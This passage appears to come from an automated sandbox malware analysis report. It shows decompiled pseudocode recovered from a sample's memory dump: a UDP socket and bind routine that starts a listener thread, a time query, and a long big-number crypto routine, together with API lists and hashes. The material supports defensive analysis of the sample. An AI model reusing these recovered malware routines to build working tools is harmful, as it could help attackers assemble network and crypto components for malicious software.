					E0040DBF0(_t24, __edi);
					_t24 = 0;
				}
				if(_t24 == 0) {
					L6:
					return _t24;
				} else {
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_v28 = 2;
					__imp__#2( *(_t24 + 8),  &_v28, 0x10);
					if(2 != 0xffffffff) {
						 *((intOrPtr*)(_t24 + 0xc)) = _v20;
						 *((intOrPtr*)(_t24 + 0x14)) = CreateThread(0, 0, E0040D9C0, _t24, 0, 0);
						goto L6;
					} else {
						E0040DBF0(_t24, _t27);
						return 0;
					}
				}
			}












                                                                                                                                                                                                                                                                                                                                                      0x0040dc60
                                                                                                                                                                                                                                                                                                                                                      0x0040dc72
                                                                                                                                                                                                                                                                                                                                                      0x0040dc78
                                                                                                                                                                                                                                                                                                                                                      0x0040dc7e
                                                                                                                                                                                                                                                                                                                                                      0x0040dc85
                                                                                                                                                                                                                                                                                                                                                      0x0040dc91
                                                                                                                                                                                                                                                                                                                                                      0x0040dc94
                                                                                                                                                                                                                                                                                                                                                      0x0040dc9a
                                                                                                                                                                                                                                                                                                                                                      0x0040dca0
                                                                                                                                                                                                                                                                                                                                                      0x0040dca2
                                                                                                                                                                                                                                                                                                                                                      0x0040dca7
                                                                                                                                                                                                                                                                                                                                                      0x0040dca7
                                                                                                                                                                                                                                                                                                                                                      0x0040dcab
                                                                                                                                                                                                                                                                                                                                                      0x0040dd0a
                                                                                                                                                                                                                                                                                                                                                      0x0040dd10
                                                                                                                                                                                                                                                                                                                                                      0x0040dcad
                                                                                                                                                                                                                                                                                                                                                      0x0040dcaf
                                                                                                                                                                                                                                                                                                                                                      0x0040dcb3
                                                                                                                                                                                                                                                                                                                                                      0x0040dcb7
                                                                                                                                                                                                                                                                                                                                                      0x0040dcbb
                                                                                                                                                                                                                                                                                                                                                      0x0040dccb
                                                                                                                                                                                                                                                                                                                                                      0x0040dcd5
                                                                                                                                                                                                                                                                                                                                                      0x0040dcde
                                                                                                                                                                                                                                                                                                                                                      0x0040dcfe
                                                                                                                                                                                                                                                                                                                                                      0x0040dd07
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dce0
                                                                                                                                                                                                                                                                                                                                                      0x0040dce0
                                                                                                                                                                                                                                                                                                                                                      0x0040dceb
                                                                                                                                                                                                                                                                                                                                                      0x0040dceb
                                                                                                                                                                                                                                                                                                                                                      0x0040dcde

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BE0E,00000000), ref: 0040DC85
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000002,00000011), ref: 0040DC94
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(?,?,00000010), ref: 0040DCD5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: SetEvent.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC01
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC0D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: CloseHandle.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC17
                                                                                                                                                                                                                                                                                                                                                      • CreateThread.KERNEL32 ref: 0040DD01
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3943618503-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ce6d24c3bde7373f1461b2dae9bb22bc5d17e2e77531687bb2f481230139cc52
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: b16d2d4ad0a0b2b9cafa682e2e76731ffdc1f0718a39120daea6a320dc634445
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ce6d24c3bde7373f1461b2dae9bb22bc5d17e2e77531687bb2f481230139cc52
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BE1194B0A44300AFE7109FB49C86B577AA0EF04714F50897AFA58DA2D2D2F9D848975A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040BD50 Relevance: 3.0, APIs: 2, Instructions: 15timenativeCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 37%
                                                                                                                                                                                                                                                                                                                                                      			E0040BD50() {
				void* _v12;
				char _v16;

				NtQuerySystemTime( &_v12);
				__imp__RtlTimeToSecondsSince1980( &_v12,  &_v16);
				return _v16;
			}





                                                                                                                                                                                                                                                                                                                                                      0x0040bd5a
                                                                                                                                                                                                                                                                                                                                                      0x0040bd68
                                                                                                                                                                                                                                                                                                                                                      0x0040bd74

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • NtQuerySystemTime.NTDLL ref: 0040BD5A
                                                                                                                                                                                                                                                                                                                                                      • RtlTimeToSecondsSince1980.NTDLL ref: 0040BD68
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Time$QuerySecondsSince1980System
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1987401769-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0b4330dce012212df90c2bb1b06727b189b67c56f1db8faa2f84d26d2ef0ce92
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 1a4b6d6326cf09cdbd7896b05d74d1d46c377a32994f51acab44ff167f1a7119
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0b4330dce012212df90c2bb1b06727b189b67c56f1db8faa2f84d26d2ef0ce92
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0FD09E79C0020CABCB00DBE4E8498DDB77CEA44201F0086D5ED1593254E6B06658CB95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00402E90 Relevance: 1.7, Strings: 1, Instructions: 488COMMONLIBRARYCODECrypto
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 72%
                                                                                                                                                                                                                                                                                                                                                      			E00402E90(void* __eflags, intOrPtr _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, signed int _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				intOrPtr _v580;
				unsigned int _v584;
				signed int _v588;
				intOrPtr _v592;
				intOrPtr _t249;
				signed int _t260;
				signed int _t282;
				signed int _t302;
				signed int _t311;
				signed int _t317;
				signed int _t329;
				signed int _t334;
				signed int _t370;
				unsigned int _t377;
				signed int _t389;
				signed int _t416;
				signed int _t425;
				signed int _t433;
				unsigned int _t441;
				signed int _t443;
				signed int _t445;
				signed int _t446;
				signed int _t448;
				signed int _t449;
				void* _t463;
				void* _t464;
				void* _t465;
				void* _t470;
				void* _t471;
				void* _t472;
				void* _t477;

				_t341 = _a12;
				_t249 = E00402290(_a12, _a20);
				_t465 = _t464 + 8;
				_v592 = _t249;
				if(_v592 != 0) {
					__eflags = _v592 - 1;
					if(_v592 != 1) {
						_v28 = 0;
						while(1) {
							__eflags = _v28 - 8;
							if(_v28 >= 8) {
								break;
							}
							__eflags = _v28 - 0x20;
							if(_v28 >= 0x20) {
								break;
							}
							_t341 = _v28;
							__eflags =  *((intOrPtr*)(0x414c04 + _t341 * 4)) - _v592;
							if( *((intOrPtr*)(0x414c04 + _t341 * 4)) <= _v592) {
								_t334 = _v28 + 1;
								__eflags = _t334;
								_v28 = _t334;
								continue;
							}
							break;
						}
						__eflags = _v28 - 1;
						if(__eflags > 0) {
							_v44 = _a20 << 1;
							_v48 = E00401400(_t341, _v44);
							_v52 = E00401400(_v44, _v44);
							_v20 = E00401400(_v44, _v44);
							_v16 = E00401400(_v44, _v44);
							_v580 = _a8;
							E00402950(_v580, __eflags, _v20, _v580, _v580, _a16, _a20);
							_t470 = _t465 + 0x24;
							_v64 = 1 << _v28 - 1;
							_v24 = 1;
							while(1) {
								_t347 = _v24;
								__eflags = _v24 - _v64;
								if(_v24 >= _v64) {
									break;
								}
								 *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)) = E00401400(_t347, _v44);
								E00402310( *((intOrPtr*)(_t463 + _v24 * 4 - 0x244)),  *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)),  *((intOrPtr*)(_t463 + _v24 * 4 - 0x244)), _a20);
								_t477 = _t470 + 0x10;
								do {
									E00401960(_v48, _v20,  *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)), _a20);
									E00401BD0(__eflags, _v52,  *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)), _v48, _a20 << 1, _a16, _a20);
									_t477 = _t477 + 0x28;
									__eflags = 0;
								} while (0 != 0);
								_t329 = _v24 + 1;
								__eflags = _t329;
								_v24 = _t329;
							}
							_v56 = 1;
							_t260 = E00402250(_a12, _a20);
							_t471 = _t470 + 8;
							_v588 = _t260;
							_v40 = 0x80000000;
							while(1) {
								__eflags = _v40;
								if(_v40 <= 0) {
									break;
								}
								_t449 = _v588;
								_t317 = _a12;
								__eflags =  *(_t317 + _t449 * 4 - 4) & _v40;
								if(( *(_t317 + _t449 * 4 - 4) & _v40) == 0) {
									_t389 = _v40 >> 1;
									__eflags = _t389;
									_v40 = _t389;
									continue;
								}
								break;
							}
							_v12 = 0;
							_v8 = 0;
							_v36 = 0;
							while(1) {
								__eflags = _v588;
								if(_v588 == 0) {
									break;
								}
								__eflags = _v56;
								if(_v56 != 0) {
									L29:
									__eflags = _v8;
									if(_v8 != 0) {
										__eflags = _v12;
										if(_v12 > 0) {
											_t433 = _v12 - 1;
											__eflags = _t433;
											_v12 = _t433;
										}
										L52:
										__eflags = _v8;
										if(_v8 == 0) {
											do {
												L58:
												__eflags = _v40 - 1;
												if(_v40 != 1) {
													_t425 = _v40 >> 1;
													__eflags = _t425;
													_v40 = _t425;
												} else {
													_v40 = 0x80000000;
													_v588 = _v588 - 1;
												}
												__eflags = 0;
											} while (0 != 0);
											continue;
										}
										__eflags = _v12 - 1;
										if(_v12 >= 1) {
											goto L58;
										}
										__eflags = _v56;
										if(_v56 == 0) {
											do {
												E00401960(_v48,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _v16, _a20);
												E00401BD0(__eflags, _v52, _v16, _v48, _a20 << 1, _a16, _a20);
												_t471 = _t471 + 0x28;
												__eflags = 0;
											} while (0 != 0);
											L57:
											_v8 = 0;
											_v12 = 0;
											goto L58;
										}
										E00402310(_v36, _v16,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _a20);
										_t471 = _t471 + 0xc;
										_v56 = 0;
										goto L57;
									}
									_t302 = _v588;
									_t370 = _a12;
									__eflags =  *(_t370 + _t302 * 4 - 4) & _v40;
									if(( *(_t370 + _t302 * 4 - 4) & _v40) == 0) {
										L49:
										goto L52;
									}
									_v8 = 1;
									_v60 = _v40;
									_v32 = _v588;
									_v584 = 1;
									_v24 = 0;
									while(1) {
										__eflags = _v24 - _v28 - 1;
										if(_v24 >= _v28 - 1) {
											break;
										} else {
											goto L34;
										}
										do {
											L34:
											__eflags = _v60 - 1;
											if(_v60 != 1) {
												_t443 = _v60 >> 1;
												__eflags = _t443;
												_v60 = _t443;
											} else {
												_v60 = 0x80000000;
												_v32 = _v32 - 1;
											}
											__eflags = 0;
										} while (0 != 0);
										_v584 = _v584 << 1;
										__eflags = _v32;
										if(_v32 != 0) {
											_t446 = _v32;
											_t311 = _a12;
											__eflags =  *(_t311 + _t446 * 4 - 4) & _v60;
											if(( *(_t311 + _t446 * 4 - 4) & _v60) != 0) {
												_t448 = _v584 | 0x00000001;
												__eflags = _t448;
												_v584 = _t448;
											}
										}
										_t445 = _v24 + 1;
										__eflags = _t445;
										_v24 = _t445;
									}
									_v12 = _v28 - 1;
									while(1) {
										__eflags = _v12;
										if(_v12 <= 0) {
											break;
										}
										__eflags = _v584 & 0x00000001;
										if((_v584 & 0x00000001) == 0) {
											_v12 = _v12 - 1;
											_t441 = _v584 >> 1;
											__eflags = _t441;
											_v584 = _t441;
											continue;
										}
										break;
									}
									_t377 = _v584 >> 1;
									__eflags = _t377;
									_v36 = _t377;
									goto L49;
								} else {
									goto L28;
								}
								do {
									L28:
									E00401F80(_v48, _v16, _a20);
									E00401BD0(__eflags, _v52, _v16, _v48, _a20 << 1, _a16, _a20);
									_t471 = _t471 + 0x24;
									__eflags = 0;
								} while (0 != 0);
								goto L29;
							}
							__eflags = _v8;
							if(_v8 == 0) {
								L67:
								E00402310(_a4, _a4, _v16, _a20);
								_t472 = _t471 + 0xc;
								do {
									__eflags = _v16;
									if(_v16 != 0) {
										E00402350(_v16, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v16);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								do {
									__eflags = _v20;
									if(_v20 != 0) {
										E00402350(_v20, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v20);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								do {
									__eflags = _v48;
									if(_v48 != 0) {
										E00402350(_v48, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v48);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								do {
									__eflags = _v52;
									if(_v52 != 0) {
										E00402350(_v52, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v52);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								_v24 = 1;
								while(1) {
									__eflags = _v24 - _v64;
									if(_v24 >= _v64) {
										break;
									} else {
										goto L83;
									}
									do {
										L83:
										_t416 = _v24;
										__eflags =  *(_t463 + _t416 * 4 - 0x240);
										if( *(_t463 + _t416 * 4 - 0x240) != 0) {
											E00402350( *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)), _v44);
											_t472 = _t472 + 8;
										}
										E00401430(_t463 + _v24 * 4 - 0x240);
										_t472 = _t472 + 4;
										__eflags = 0;
									} while (0 != 0);
									_t282 = _v24 + 1;
									__eflags = _t282;
									_v24 = _t282;
								}
								__eflags = 0;
								return 0;
							}
							__eflags = _v56;
							if(_v56 == 0) {
								do {
									E00401960(_v48,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _v16, _a20);
									E00401BD0(__eflags, _v52, _v16, _v48, _a20 << 1, _a16, _a20);
									_t471 = _t471 + 0x28;
									__eflags = 0;
								} while (0 != 0);
								goto L67;
							}
							E00402310(_v16, _v16,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _a20);
							_t471 = _t471 + 0xc;
							_v56 = 0;
							goto L67;
						}
						return E00402A00(__eflags, _a4, _a8, _a12, _a16, _a20);
					}
					E00402880(_a4, _a8, _a20, _a16, _a20);
					return 1;
				}
				E00402390(_t341, _a4, 1, _a20);
				return 1;
			}

















































                                                                                                                                                                                                                                                                                                                                                      0x00402e9d
                                                                                                                                                                                                                                                                                                                                                      0x00402ea1
                                                                                                                                                                                                                                                                                                                                                      0x00402ea6
                                                                                                                                                                                                                                                                                                                                                      0x00402ea9
                                                                                                                                                                                                                                                                                                                                                      0x00402eb6
                                                                                                                                                                                                                                                                                                                                                      0x00402ed4
                                                                                                                                                                                                                                                                                                                                                      0x00402edb
                                                                                                                                                                                                                                                                                                                                                      0x00402f03
                                                                                                                                                                                                                                                                                                                                                      0x00402f15
                                                                                                                                                                                                                                                                                                                                                      0x00402f15
                                                                                                                                                                                                                                                                                                                                                      0x00402f19
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00402f1b
                                                                                                                                                                                                                                                                                                                                                      0x00402f1f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00402f21
                                                                                                                                                                                                                                                                                                                                                      0x00402f2b
                                                                                                                                                                                                                                                                                                                                                      0x00402f31
                                                                                                                                                                                                                                                                                                                                                      0x00402f0f
                                                                                                                                                                                                                                                                                                                                                      0x00402f0f
                                                                                                                                                                                                                                                                                                                                                      0x00402f12
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00402f12
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00402f33
                                                                                                                                                                                                                                                                                                                                                      0x00402f37
                                                                                                                                                                                                                                                                                                                                                      0x00402f3b
                                                                                                                                                                                                                                                                                                                                                      0x00402f63
                                                                                                                                                                                                                                                                                                                                                      0x00402f72
                                                                                                                                                                                                                                                                                                                                                      0x00402f81
                                                                                                                                                                                                                                                                                                                                                      0x00402f90
                                                                                                                                                                                                                                                                                                                                                      0x00402f9f
                                                                                                                                                                                                                                                                                                                                                      0x00402fa5
                                                                                                                                                                                                                                                                                                                                                      0x00402fc5
                                                                                                                                                                                                                                                                                                                                                      0x00402fca
                                                                                                                                                                                                                                                                                                                                                      0x00402fda
                                                                                                                                                                                                                                                                                                                                                      0x00402fdd
                                                                                                                                                                                                                                                                                                                                                      0x00402fef
                                                                                                                                                                                                                                                                                                                                                      0x00402fef
                                                                                                                                                                                                                                                                                                                                                      0x00402ff2
                                                                                                                                                                                                                                                                                                                                                      0x00402ff5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040300a
                                                                                                                                                                                                                                                                                                                                                      0x0040302b
                                                                                                                                                                                                                                                                                                                                                      0x00403030
                                                                                                                                                                                                                                                                                                                                                      0x00403033
                                                                                                                                                                                                                                                                                                                                                      0x0040304a
                                                                                                                                                                                                                                                                                                                                                      0x00403073
                                                                                                                                                                                                                                                                                                                                                      0x00403078
                                                                                                                                                                                                                                                                                                                                                      0x0040307b
                                                                                                                                                                                                                                                                                                                                                      0x0040307b
                                                                                                                                                                                                                                                                                                                                                      0x00402fe9
                                                                                                                                                                                                                                                                                                                                                      0x00402fe9
                                                                                                                                                                                                                                                                                                                                                      0x00402fec
                                                                                                                                                                                                                                                                                                                                                      0x00402fec
                                                                                                                                                                                                                                                                                                                                                      0x00403084
                                                                                                                                                                                                                                                                                                                                                      0x00403093
                                                                                                                                                                                                                                                                                                                                                      0x00403098
                                                                                                                                                                                                                                                                                                                                                      0x0040309b
                                                                                                                                                                                                                                                                                                                                                      0x004030a1
                                                                                                                                                                                                                                                                                                                                                      0x004030b2
                                                                                                                                                                                                                                                                                                                                                      0x004030b2
                                                                                                                                                                                                                                                                                                                                                      0x004030b6
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004030b8
                                                                                                                                                                                                                                                                                                                                                      0x004030be
                                                                                                                                                                                                                                                                                                                                                      0x004030c5
                                                                                                                                                                                                                                                                                                                                                      0x004030c8
                                                                                                                                                                                                                                                                                                                                                      0x004030ad
                                                                                                                                                                                                                                                                                                                                                      0x004030ad
                                                                                                                                                                                                                                                                                                                                                      0x004030af
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004030af
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004030ca
                                                                                                                                                                                                                                                                                                                                                      0x004030ce
                                                                                                                                                                                                                                                                                                                                                      0x004030d5
                                                                                                                                                                                                                                                                                                                                                      0x004030dc
                                                                                                                                                                                                                                                                                                                                                      0x004030e3
                                                                                                                                                                                                                                                                                                                                                      0x004030e3
                                                                                                                                                                                                                                                                                                                                                      0x004030ea
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004030f0
                                                                                                                                                                                                                                                                                                                                                      0x004030f4
                                                                                                                                                                                                                                                                                                                                                      0x00403130
                                                                                                                                                                                                                                                                                                                                                      0x00403130
                                                                                                                                                                                                                                                                                                                                                      0x00403134
                                                                                                                                                                                                                                                                                                                                                      0x00403229
                                                                                                                                                                                                                                                                                                                                                      0x0040322d
                                                                                                                                                                                                                                                                                                                                                      0x00403232
                                                                                                                                                                                                                                                                                                                                                      0x00403232
                                                                                                                                                                                                                                                                                                                                                      0x00403235
                                                                                                                                                                                                                                                                                                                                                      0x00403235
                                                                                                                                                                                                                                                                                                                                                      0x00403238
                                                                                                                                                                                                                                                                                                                                                      0x00403238
                                                                                                                                                                                                                                                                                                                                                      0x0040323c
                                                                                                                                                                                                                                                                                                                                                      0x004032c5
                                                                                                                                                                                                                                                                                                                                                      0x004032c5
                                                                                                                                                                                                                                                                                                                                                      0x004032c5
                                                                                                                                                                                                                                                                                                                                                      0x004032c9
                                                                                                                                                                                                                                                                                                                                                      0x004032e6
                                                                                                                                                                                                                                                                                                                                                      0x004032e6
                                                                                                                                                                                                                                                                                                                                                      0x004032e8
                                                                                                                                                                                                                                                                                                                                                      0x004032cb
                                                                                                                                                                                                                                                                                                                                                      0x004032cb
                                                                                                                                                                                                                                                                                                                                                      0x004032db
                                                                                                                                                                                                                                                                                                                                                      0x004032db
                                                                                                                                                                                                                                                                                                                                                      0x004032eb
                                                                                                                                                                                                                                                                                                                                                      0x004032eb
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004032ef
                                                                                                                                                                                                                                                                                                                                                      0x00403242
                                                                                                                                                                                                                                                                                                                                                      0x00403246
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403248
                                                                                                                                                                                                                                                                                                                                                      0x0040324c
                                                                                                                                                                                                                                                                                                                                                      0x00403272
                                                                                                                                                                                                                                                                                                                                                      0x00403289
                                                                                                                                                                                                                                                                                                                                                      0x004032ab
                                                                                                                                                                                                                                                                                                                                                      0x004032b0
                                                                                                                                                                                                                                                                                                                                                      0x004032b3
                                                                                                                                                                                                                                                                                                                                                      0x004032b3
                                                                                                                                                                                                                                                                                                                                                      0x004032b7
                                                                                                                                                                                                                                                                                                                                                      0x004032b7
                                                                                                                                                                                                                                                                                                                                                      0x004032be
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004032be
                                                                                                                                                                                                                                                                                                                                                      0x00403261
                                                                                                                                                                                                                                                                                                                                                      0x00403266
                                                                                                                                                                                                                                                                                                                                                      0x00403269
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403269
                                                                                                                                                                                                                                                                                                                                                      0x0040313a
                                                                                                                                                                                                                                                                                                                                                      0x00403140
                                                                                                                                                                                                                                                                                                                                                      0x00403147
                                                                                                                                                                                                                                                                                                                                                      0x0040314a
                                                                                                                                                                                                                                                                                                                                                      0x00403227
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403227
                                                                                                                                                                                                                                                                                                                                                      0x00403150
                                                                                                                                                                                                                                                                                                                                                      0x0040315a
                                                                                                                                                                                                                                                                                                                                                      0x00403163
                                                                                                                                                                                                                                                                                                                                                      0x00403166
                                                                                                                                                                                                                                                                                                                                                      0x00403170
                                                                                                                                                                                                                                                                                                                                                      0x00403182
                                                                                                                                                                                                                                                                                                                                                      0x00403188
                                                                                                                                                                                                                                                                                                                                                      0x0040318b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040318d
                                                                                                                                                                                                                                                                                                                                                      0x0040318d
                                                                                                                                                                                                                                                                                                                                                      0x0040318d
                                                                                                                                                                                                                                                                                                                                                      0x00403191
                                                                                                                                                                                                                                                                                                                                                      0x004031a8
                                                                                                                                                                                                                                                                                                                                                      0x004031a8
                                                                                                                                                                                                                                                                                                                                                      0x004031aa
                                                                                                                                                                                                                                                                                                                                                      0x00403193
                                                                                                                                                                                                                                                                                                                                                      0x00403193
                                                                                                                                                                                                                                                                                                                                                      0x004031a0
                                                                                                                                                                                                                                                                                                                                                      0x004031a0
                                                                                                                                                                                                                                                                                                                                                      0x004031ad
                                                                                                                                                                                                                                                                                                                                                      0x004031ad
                                                                                                                                                                                                                                                                                                                                                      0x004031b9
                                                                                                                                                                                                                                                                                                                                                      0x004031bf
                                                                                                                                                                                                                                                                                                                                                      0x004031c3
                                                                                                                                                                                                                                                                                                                                                      0x004031c5
                                                                                                                                                                                                                                                                                                                                                      0x004031c8
                                                                                                                                                                                                                                                                                                                                                      0x004031cf
                                                                                                                                                                                                                                                                                                                                                      0x004031d2
                                                                                                                                                                                                                                                                                                                                                      0x004031da
                                                                                                                                                                                                                                                                                                                                                      0x004031da
                                                                                                                                                                                                                                                                                                                                                      0x004031dd
                                                                                                                                                                                                                                                                                                                                                      0x004031dd
                                                                                                                                                                                                                                                                                                                                                      0x004031d2
                                                                                                                                                                                                                                                                                                                                                      0x0040317c
                                                                                                                                                                                                                                                                                                                                                      0x0040317c
                                                                                                                                                                                                                                                                                                                                                      0x0040317f
                                                                                                                                                                                                                                                                                                                                                      0x0040317f
                                                                                                                                                                                                                                                                                                                                                      0x004031eb
                                                                                                                                                                                                                                                                                                                                                      0x00403207
                                                                                                                                                                                                                                                                                                                                                      0x00403207
                                                                                                                                                                                                                                                                                                                                                      0x0040320b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403213
                                                                                                                                                                                                                                                                                                                                                      0x00403216
                                                                                                                                                                                                                                                                                                                                                      0x004031f6
                                                                                                                                                                                                                                                                                                                                                      0x004031ff
                                                                                                                                                                                                                                                                                                                                                      0x004031ff
                                                                                                                                                                                                                                                                                                                                                      0x00403201
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403201
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403218
                                                                                                                                                                                                                                                                                                                                                      0x00403222
                                                                                                                                                                                                                                                                                                                                                      0x00403222
                                                                                                                                                                                                                                                                                                                                                      0x00403224
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004030f6
                                                                                                                                                                                                                                                                                                                                                      0x004030f6
                                                                                                                                                                                                                                                                                                                                                      0x00403102
                                                                                                                                                                                                                                                                                                                                                      0x00403124
                                                                                                                                                                                                                                                                                                                                                      0x00403129
                                                                                                                                                                                                                                                                                                                                                      0x0040312c
                                                                                                                                                                                                                                                                                                                                                      0x0040312c
